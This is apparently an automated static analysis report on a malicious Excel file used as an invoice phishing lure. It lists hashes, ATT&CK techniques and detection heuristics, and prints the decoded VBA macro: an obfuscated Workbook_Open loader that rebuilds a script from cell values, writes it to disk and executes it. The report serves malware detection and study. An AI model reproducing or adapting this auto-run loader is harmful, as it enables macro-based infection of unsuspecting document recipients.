Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3721a1b73a656d02…

MALICIOUS

Office (OLE)

656.5 KB Created: 2018-07-26 00:26:51 Authoring application: Microsoft Excel First seen: 2021-10-23
MD5: 5c8fcc9153a5f651d01db332d093e822 SHA-1: 9c121f460781450203191cea941095dee7b2b470 SHA-256: 3721a1b73a656d02a9d2966ce4b45729ea1758ac39fe08ed8153b322b795d4ff
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The Excel file contains an obfuscated Workbook_Open VBA macro that utilizes CreateObject to write a script to disk and then execute it using mshta. The script is constructed from concatenated strings and environmental variables, ultimately leading to the execution of a second-stage payload. The presence of 'invoice' and 'remittance advice' in the document body suggests a phishing lure.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Next klVeryHidden
        With CreateObject(Cells(67, 145))
            .CreateTextFile(klDisplayNone).Write (klLocalFormat1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next klVeryHidden
        With CreateObject(Cells(67, 145))
            .CreateTextFile(klDisplayNone).Write (klLocalFormat1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub WorkBook_Open()
        For Each klVeryHidden In ActiveWorkbook.Sheets(CStr(Cells(48, 67))).Range(CStr(Cells(283, 54)))
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        For Each klVeryHidden In ActiveWorkbook.Sheets(CStr(Cells(48, 67))).Range(CStr(Cells(283, 54)))
            klDisplayNone = Environ(Cells(248, 78)) & Cells(199, 66)
            If klVeryHidden.Value <> 0 Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1160 bytes
SHA-256: 3a7b163fabef65cb1e55305cef8db3482419bbf6a35050dd517ee5db13336745
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klVeryHidden In ActiveWorkbook.Sheets(CStr(Cells(48, 67))).Range(CStr(Cells(283, 54)))
        klDisplayNone = Environ(Cells(248, 78)) & Cells(199, 66)
        If klVeryHidden.Value <> 0 Then
            klLocalFormat1 = klLocalFormat1 & Chr(klVeryHidden.Value - 1300)
        End If
    Next klVeryHidden
    With CreateObject(Cells(67, 145))
        .CreateTextFile(klDisplayNone).Write (klLocalFormat1)
    End With
With CreateObject(Cells(150, 107))
.Exec Cells(58, 67) & klDisplayNone
End With
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True